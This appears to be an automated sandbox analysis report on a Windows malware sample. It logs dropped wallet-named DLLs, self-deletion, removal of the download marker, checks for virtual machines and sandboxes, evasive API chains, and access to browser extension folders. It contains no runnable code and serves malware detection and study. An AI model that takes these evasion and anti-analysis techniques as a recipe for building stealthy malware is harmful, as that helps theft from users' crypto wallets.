Source:	Binary string: WalletBackgroundServiceProxy.pdbGCTL source: explorer.exe, 0000000D.00000003.2649083320.0000000005240000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2639119657.00000000052D6000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2676572554.00000000052E6000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2701582740.00000000052EA000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2701221963.00000000052D7000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2701414879.00000000052E6000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2674928754.00000000052D7000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2667473589.0000000005240000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2678065093.00000000052EA000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2652375045.00000000052D6000.00000004.00000020.00020000.00000000.sdmp, WalletBackgroundServiceProxy.dll.13.dr, WalletBackgroundServiceProxy.dll1.13.dr
Source:	Binary string: xy.pdbGCT.r source: explorer.exe, 0000000D.00000003.2655011353.000000000523C000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: walletservice.pdb source: explorer.exe, 0000000D.00000003.2570547209.00000000052C7000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2664889234.0000000005231000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: xy.pdbGCT.orp source: explorer.exe, 0000000D.00000003.2683048434.0000000005231000.00000004.00000020.00020000.00000000.sdmp

Source: WalletService.dll1.13.dr

Static PE information: 0xACABE18A [Wed Oct 19 11:05:46 2061 UTC]

Source: C:\Windows\SysWOW64\explorer.exe

Code function: 7_2_00849247 LoadLibraryA,GetProcAddress,VirtualProtect,VirtualProtect,VirtualProtect,

7_2_00849247

Source: Windows.ApplicationModel.Wallet.dll.13.dr	Static PE information: section name: .didat
Source: WalletService.dll1.13.dr	Static PE information: section name: .didat
Source: Windows.ApplicationModel.Wallet.dll2.13.dr	Static PE information: section name: .didat
Source: Windows.ApplicationModel.Wallet.dll5.13.dr	Static PE information: section name: .didat
Source: Windows.ApplicationModel.Wallet.dll6.13.dr	Static PE information: section name: .didat

Source: C:\Users\user\Desktop\172823964570053a59b24ac6432eba9d1852681850b7ea6d06bd275c12bfed591157d7099b818.dat-decoded.exe	Code function: 0_2_004032DC push ebp; iretd	0_2_00403485
Source: C:\Users\user\Desktop\172823964570053a59b24ac6432eba9d1852681850b7ea6d06bd275c12bfed591157d7099b818.dat-decoded.exe	Code function: 0_2_004032DC push edx; retn EC8Bh	0_2_004035B1
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 7_3_05C99719 push eax; ret	7_3_05C99725
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 7_3_05CBCF98 pushfd ; iretd	7_3_05CBCF99
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 7_3_05CBCF98 pushfd ; iretd	7_3_05CBCF99
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 7_3_05CBEDA1 push eax; ret	7_3_05CBEDAD
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 7_3_05CBEDA1 push eax; ret	7_3_05CBEDAD
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 7_3_05CBD10B push eax; retf	7_3_05CBD111
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 7_3_05CBD10B push eax; retf	7_3_05CBD111
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 7_3_05CBCF1C push edx; iretd	7_3_05CBCF1D
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 7_3_05CBCF1C push edx; iretd	7_3_05CBCF1D
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 7_3_05CBCF98 pushfd ; iretd	7_3_05CBCF99
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 7_3_05CBCF98 pushfd ; iretd	7_3_05CBCF99
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 7_3_05CBEDA1 push eax; ret	7_3_05CBEDAD
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 7_3_05CBEDA1 push eax; ret	7_3_05CBEDAD
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 7_3_05CBD10B push eax; retf	7_3_05CBD111
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 7_3_05CBD10B push eax; retf	7_3_05CBD111
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 7_3_05CBCF1C push edx; iretd	7_3_05CBCF1D
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 7_3_05CBCF1C push edx; iretd	7_3_05CBCF1D
Source: C:\Windows\explorer.exe	Code function: 8_2_00A3B124 push ebp; retf	8_2_00A3B12B
Source: C:\Windows\explorer.exe	Code function: 8_2_00A3B12C push ebp; retf	8_2_00A3B133
Source: C:\Windows\explorer.exe	Code function: 8_2_00A3A055 push es; iretd	8_2_00A3A05D
Source: C:\Windows\explorer.exe	Code function: 8_2_00A347A7 push esp; iretd	8_2_00A347A8
Source: C:\Windows\explorer.exe	Code function: 8_2_00A34124 push esi; retf	8_2_00A34143
Source: C:\Windows\explorer.exe	Code function: 8_2_00A340AC push esi; retf	8_2_00A340BB
Source: C:\Windows\explorer.exe	Code function: 8_2_00A340BC push esi; retf	8_2_00A340C3
Source: C:\Windows\explorer.exe	Code function: 8_2_00A34001 push esi; retf	8_2_00A34063
Source: C:\Windows\explorer.exe	Code function: 8_2_00A31405 push esi; ret	8_2_00A31407
Source: C:\Windows\explorer.exe	Code function: 8_2_00A34084 push esi; retf	8_2_00A3409B
Source: C:\Windows\explorer.exe	Code function: 8_2_00A34104 push ebp; retf	8_2_00A3411B
Source: C:\Windows\explorer.exe	Code function: 8_2_00A3409C push ebp; retf	8_2_00A340AB

Source: 172823964570053a59b24ac6432eba9d1852681850b7ea6d06bd275c12bfed591157d7099b818.dat-decoded.exe	Static PE information: section name: .text entropy: 7.0440254923492915
Source: hfetwhc.2.dr	Static PE information: section name: .text entropy: 7.0440254923492915

Source: C:\Windows\SysWOW64\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\D700\C\Windows\WinSxS\amd64_microsoft-windows-w..t-service.resources_31bf3856ad364e35_10.0.19041.1_en-us_0e357aa451e0d2d7\WalletService.dll.mui	Jump to dropped file
Source: C:\Windows\SysWOW64\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\D700\C\Windows\WinSxS\wow64_microsoft-windows-wallet-service.proxy_31bf3856ad364e35_10.0.19041.1_none_69993b7d6814452d\WalletProxy.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\D700\C\Windows\SysWOW64\WalletBackgroundServiceProxy.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\D700\C\Windows\SysWOW64\Windows.ApplicationModel.Wallet.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\D700\C\Windows\SysWOW64\WalletProxy.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\D700\C\Windows\System32\Windows.ApplicationModel.Wallet.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\D700\C\Windows\WinSxS\wow64_microsoft-windows-wallet-winrt_31bf3856ad364e35_10.0.19041.746_none_b3a887dd4a9553e8\Windows.ApplicationModel.Wallet.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\D700\C\Windows\WinSxS\amd64_microsoft-windows-wallet-service.proxy_31bf3856ad364e35_10.0.19041.1_none_5f44912b33b38332\WalletProxy.dll	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Roaming\hfetwhc	Jump to dropped file
Source: C:\Windows\SysWOW64\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\D700\C\Windows\WinSxS\wow64_microsoft-windows-w..ice.backgroundproxy_31bf3856ad364e35_10.0.19041.1_none_046b779f2003c415\WalletBackgroundServiceProxy.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\D700\C\Windows\WinSxS\amd64_microsoft-windows-w..-service.deployment_31bf3856ad364e35_10.0.19041.985_none_b6bad888bc038c2c\WalletService.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\D700\C\Windows\System32\WalletBackgroundServiceProxy.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\D700\C\Windows\WinSxS\amd64_microsoft-windows-w..ice.backgroundproxy_31bf3856ad364e35_10.0.19041.1_none_fa16cd4ceba3021a\WalletBackgroundServiceProxy.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\D700\C\Windows\System32\WalletProxy.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\D700\C\Windows\WinSxS\amd64_microsoft-windows-wallet-winrt_31bf3856ad364e35_10.0.19041.746_none_a953dd8b163491ed\Windows.ApplicationModel.Wallet.dll	Jump to dropped file

Source: C:\Windows\explorer.exe

File created: C:\Users\user\AppData\Roaming\hfetwhc

Jump to dropped file

Source: C:\Windows\SysWOW64\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\D700\C\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\Mini-Wallet\miniwallet.bundle.js.LICENSE.txt			Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\D700\C\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\Wallet-Checkout\wallet-drawer.bundle.js.LICENSE.txt			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Deletes itself after installation

Source: C:\Windows\explorer.exe

File deleted: c:\users\user\desktop\172823964570053a59b24ac6432eba9d1852681850b7ea6d06bd275c12bfed591157d7099b818.dat-decoded.exe

Jump to behavior

Hides that the sample has been downloaded from the Internet (zone.identifier)

Source: C:\Windows\explorer.exe

File opened: C:\Users\user\AppData\Roaming\hfetwhc:Zone.Identifier read attributes | delete

Jump to behavior

Source: C:\Windows\SysWOW64\explorer.exe

Code function: 9_2_03223862 GetModuleFileNameA,GetCurrentProcessId,wsprintfA,CreateMutexA,GetLastError,RtlInitializeCriticalSection,PathFindFileNameA,lstrcat,Sleep,lstrcmpiA,lstrcmpiA,GetCommandLineW,CommandLineToArgvW,GetModuleHandleA,GetModuleHandleA,GetProcAddress,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,lstrcmpiA,lstrcmpiA,lstrcmpiA,StrStrIA,GetCommandLineA,GetCommandLineA,StrStrIA,GetModuleHandleA,lstrcmpiA,GetCommandLineA,StrStrIA,lstrcmpiA,GetCommandLineA,StrStrIA,GetModuleHandleA,GetModuleHandleA,GetModuleHandleA,GetModuleHandleA,GetModuleHandleA,GetProcAddress,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,RtlExitUserThread,wsprintfA,lstrcmpiA,CreateToolhelp32Snapshot,Process32First,CloseHandle,Sleep,

9_2_03223862

Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Checks if the current machine is a virtual machine (disk enumeration)

Source: C:\Users\user\Desktop\172823964570053a59b24ac6432eba9d1852681850b7ea6d06bd275c12bfed591157d7099b818.dat-decoded.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\172823964570053a59b24ac6432eba9d1852681850b7ea6d06bd275c12bfed591157d7099b818.dat-decoded.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\172823964570053a59b24ac6432eba9d1852681850b7ea6d06bd275c12bfed591157d7099b818.dat-decoded.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\172823964570053a59b24ac6432eba9d1852681850b7ea6d06bd275c12bfed591157d7099b818.dat-decoded.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\172823964570053a59b24ac6432eba9d1852681850b7ea6d06bd275c12bfed591157d7099b818.dat-decoded.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\172823964570053a59b24ac6432eba9d1852681850b7ea6d06bd275c12bfed591157d7099b818.dat-decoded.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\hfetwhc	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\hfetwhc	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\hfetwhc	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\hfetwhc	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\hfetwhc	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\hfetwhc	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior

Contains functionality to compare user and computer (likely to detect sandboxes)

Source: C:\Windows\SysWOW64\explorer.exe

Code function: GetModuleFileNameA,GetCurrentProcessId,wsprintfA,CreateMutexA,GetLastError,RtlInitializeCriticalSection,PathFindFileNameA,lstrcat,Sleep,lstrcmpiA,lstrcmpiA,GetCommandLineW,CommandLineToArgvW,GetModuleHandleA,GetModuleHandleA,GetProcAddress,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,lstrcmpiA,lstrcmpiA,lstrcmpiA,StrStrIA,GetCommandLineA,GetCommandLineA,StrStrIA,GetModuleHandleA,lstrcmpiA,GetCommandLineA,StrStrIA,lstrcmpiA,GetCommandLineA,StrStrIA,GetModuleHandleA,GetModuleHandleA,GetModuleHandleA,GetModuleHandleA,GetModuleHandleA,GetProcAddress,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,RtlExitUserThread,wsprintfA,lstrcmpiA,CreateToolhelp32Snapshot,Process32First,CloseHandle,Sleep,

9_2_03223862

Found evasive API chain (may stop execution after checking mutex)

Source: C:\Windows\SysWOW64\explorer.exe

Evasive API call chain: CreateMutex,DecisionNodes,Sleep

graph_11-884

Switches to a custom stack to bypass stack traces

Source: C:\Users\user\Desktop\172823964570053a59b24ac6432eba9d1852681850b7ea6d06bd275c12bfed591157d7099b818.dat-decoded.exe	API/Special instruction interceptor: Address: 7FFBCB7AE814
Source: C:\Users\user\Desktop\172823964570053a59b24ac6432eba9d1852681850b7ea6d06bd275c12bfed591157d7099b818.dat-decoded.exe	API/Special instruction interceptor: Address: 7FFBCB7AD584
Source: C:\Users\user\AppData\Roaming\hfetwhc	API/Special instruction interceptor: Address: 7FFBCB7AE814
Source: C:\Users\user\AppData\Roaming\hfetwhc	API/Special instruction interceptor: Address: 7FFBCB7AD584

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: 172823964570053a59b24ac6432eba9d1852681850b7ea6d06bd275c12bfed591157d7099b818.dat-decoded.exe, hfetwhc.2.dr	Binary or memory string: SBIEDLLASWHOOKSNXHK^
Source: hfetwhc, hfetwhc, 00000010.00000002.3927540281.0000000000401000.00000040.00000001.01000000.00000005.sdmp, hfetwhc, 00000010.00000000.3773952880.0000000000401000.00000080.00000001.01000000.00000005.sdmp, 172823964570053a59b24ac6432eba9d1852681850b7ea6d06bd275c12bfed591157d7099b818.dat-decoded.exe, hfetwhc.2.dr	Binary or memory string: ASWHOOK

Source: C:\Windows\SysWOW64\explorer.exe

9_2_03223862

Source: C:\Windows\SysWOW64\explorer.exe	Thread delayed: delay time: 600000			Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Thread delayed: delay time: 600000			Jump to behavior

Source: C:\Windows\explorer.exe	Window / User API: threadDelayed 484	Jump to behavior
Source: C:\Windows\explorer.exe	Window / User API: threadDelayed 2501	Jump to behavior
Source: C:\Windows\explorer.exe	Window / User API: threadDelayed 802	Jump to behavior
Source: C:\Windows\explorer.exe	Window / User API: threadDelayed 351	Jump to behavior
Source: C:\Windows\explorer.exe	Window / User API: threadDelayed 1805	Jump to behavior
Source: C:\Windows\explorer.exe	Window / User API: foregroundWindowGot 876	Jump to behavior
Source: C:\Windows\explorer.exe	Window / User API: foregroundWindowGot 873	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Window / User API: threadDelayed 4144	Jump to behavior
Source: C:\Windows\explorer.exe	Window / User API: threadDelayed 3727	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Window / User API: threadDelayed 4037	Jump to behavior
Source: C:\Windows\explorer.exe	Window / User API: threadDelayed 3635	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Window / User API: threadDelayed 2602	Jump to behavior

Source: C:\Windows\SysWOW64\explorer.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\D700\C\Windows\WinSxS\amd64_microsoft-windows-w..t-service.resources_31bf3856ad364e35_10.0.19041.1_en-us_0e357aa451e0d2d7\WalletService.dll.mui	Jump to dropped file
Source: C:\Windows\SysWOW64\explorer.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\D700\C\Windows\WinSxS\wow64_microsoft-windows-wallet-service.proxy_31bf3856ad364e35_10.0.19041.1_none_69993b7d6814452d\WalletProxy.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\explorer.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\D700\C\Windows\SysWOW64\WalletBackgroundServiceProxy.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\explorer.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\D700\C\Windows\SysWOW64\Windows.ApplicationModel.Wallet.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\explorer.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\D700\C\Windows\SysWOW64\WalletProxy.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\explorer.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\D700\C\Windows\System32\Windows.ApplicationModel.Wallet.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\explorer.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\D700\C\Windows\WinSxS\wow64_microsoft-windows-wallet-winrt_31bf3856ad364e35_10.0.19041.746_none_b3a887dd4a9553e8\Windows.ApplicationModel.Wallet.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\explorer.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\D700\C\Windows\WinSxS\amd64_microsoft-windows-wallet-service.proxy_31bf3856ad364e35_10.0.19041.1_none_5f44912b33b38332\WalletProxy.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\explorer.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\D700\C\Windows\WinSxS\wow64_microsoft-windows-w..ice.backgroundproxy_31bf3856ad364e35_10.0.19041.1_none_046b779f2003c415\WalletBackgroundServiceProxy.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\explorer.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\D700\C\Windows\WinSxS\amd64_microsoft-windows-w..-service.deployment_31bf3856ad364e35_10.0.19041.985_none_b6bad888bc038c2c\WalletService.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\explorer.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\D700\C\Windows\System32\WalletBackgroundServiceProxy.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\explorer.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\D700\C\Windows\System32\WalletProxy.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\explorer.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\D700\C\Windows\WinSxS\amd64_microsoft-windows-w..ice.backgroundproxy_31bf3856ad364e35_10.0.19041.1_none_fa16cd4ceba3021a\WalletBackgroundServiceProxy.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\explorer.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\D700\C\Windows\WinSxS\amd64_microsoft-windows-wallet-winrt_31bf3856ad364e35_10.0.19041.746_none_a953dd8b163491ed\Windows.ApplicationModel.Wallet.dll	Jump to dropped file

Source: C:\Windows\SysWOW64\explorer.exe

Evasive API call chain: GetModuleFileName,DecisionNodes,ExitProcess

graph_13-8871

Source: C:\Windows\explorer.exe TID: 4124	Thread sleep count: 484 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 2288	Thread sleep count: 2501 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 2288	Thread sleep time: -250100s >= -30000s	Jump to behavior
Source: C:\Windows\explorer.exe TID: 2464	Thread sleep count: 802 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 2464	Thread sleep time: -80200s >= -30000s	Jump to behavior
Source: C:\Windows\explorer.exe TID: 4132	Thread sleep count: 313 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 3428	Thread sleep count: 335 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 3428	Thread sleep time: -33500s >= -30000s	Jump to behavior
Source: C:\Windows\explorer.exe TID: 964	Thread sleep count: 351 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 964	Thread sleep time: -35100s >= -30000s	Jump to behavior
Source: C:\Windows\explorer.exe TID: 2288	Thread sleep count: 1805 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 2288	Thread sleep time: -180500s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe TID: 6556	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe TID: 5436	Thread sleep count: 4144 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe TID: 5436	Thread sleep time: -4144000s >= -30000s	Jump to behavior
Source: C:\Windows\explorer.exe TID: 6016	Thread sleep count: 3727 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 6016	Thread sleep time: -3727000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe TID: 5212	Thread sleep count: 4037 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe TID: 5212	Thread sleep time: -4037000s >= -30000s	Jump to behavior
Source: C:\Windows\explorer.exe TID: 6288	Thread sleep count: 3635 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 6288	Thread sleep time: -3635000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe TID: 5728	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe TID: 5676	Thread sleep count: 2602 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe TID: 5676	Thread sleep time: -1561200000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe TID: 5676	Thread sleep time: -600000s >= -30000s	Jump to behavior

Source: C:\Windows\SysWOW64\explorer.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\explorer.exe	Last function: Thread delayed
Source: C:\Windows\explorer.exe	Last function: Thread delayed
Source: C:\Windows\explorer.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\explorer.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\explorer.exe	Last function: Thread delayed

Source: C:\Windows\SysWOW64\explorer.exe

File Volume queried: C:\ FullSizeInformation

Jump to behavior

Source: C:\Windows\SysWOW64\explorer.exe	Code function: 7_2_007E2B15 FindFirstFileW,lstrcmpiW,lstrcmpiW,StrStrIW,StrStrIW,FindNextFileW,FindClose,	7_2_007E2B15
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 7_2_007E1D4A FindFirstFileW,lstrcmpiW,lstrcmpiW,lstrcmpiW,FindNextFileW,FindClose,	7_2_007E1D4A
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 7_2_007E3ED9 PathCombineW,FindFirstFileW,lstrcmpiW,lstrcmpiW,PathCombineW,lstrcmpiW,PathCombineW,FindNextFileW,FindClose,	7_2_007E3ED9
Source: C:\Windows\explorer.exe	Code function: 8_2_00A330A8 FindFirstFileW,FindNextFileW,FindClose,	8_2_00A330A8
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 9_2_032215BE RtlZeroMemory,SHGetSpecialFolderPathW,lstrcatW,PathCombineW,FindFirstFileW,lstrcmpiW,lstrcmpiW,lstrcmpiW,PathCombineW,PathMatchSpecW,PathCombineW,FindNextFileW,FindClose,	9_2_032215BE
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 9_2_032213FE wsprintfW,FindFirstFileW,wsprintfW,RemoveDirectoryW,FindNextFileW,FindClose,	9_2_032213FE
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 9_2_032214D8 wsprintfW,FindFirstFileW,wsprintfW,SetFileAttributesW,DeleteFileW,FindNextFileW,FindClose,	9_2_032214D8
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 13_2_030C2240 FindFirstFileW,FindNextFileW,FindClose,	13_2_030C2240
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 13_2_030C18E0 lstrcatW,lstrcatW,PathCombineW,lstrcatW,PathRemoveFileSpecW,FindFirstFileExW,lstrcmpiW,PathCombineW,PathCombineW,FindNextFileW,FindClose,	13_2_030C18E0
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 13_2_030C20C1 FindFirstFileW,FileTimeToLocalFileTime,FileTimeToDosDateTime,FindClose,	13_2_030C20C1

Source: C:\Windows\SysWOW64\explorer.exe

13_2_030C1A96

Source: C:\Windows\SysWOW64\explorer.exe

Code function: 7_2_007E6512 GetSystemInfo,

7_2_007E6512

Source: C:\Windows\SysWOW64\explorer.exe	Thread delayed: delay time: 600000			Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Thread delayed: delay time: 600000			Jump to behavior

Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior

Source: explorer.exe, 0000000D.00000003.2719046288.00000000059A8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: wu8T4pTb6lB/S4575QEMucJCA6t2SIK8JRkixF4YO6ZIn2ECrfxnkHDBpze1yCdc
Source: CB6F.tmp.7.dr	Binary or memory string: ms.portal.azure.comVMware20,11696494690
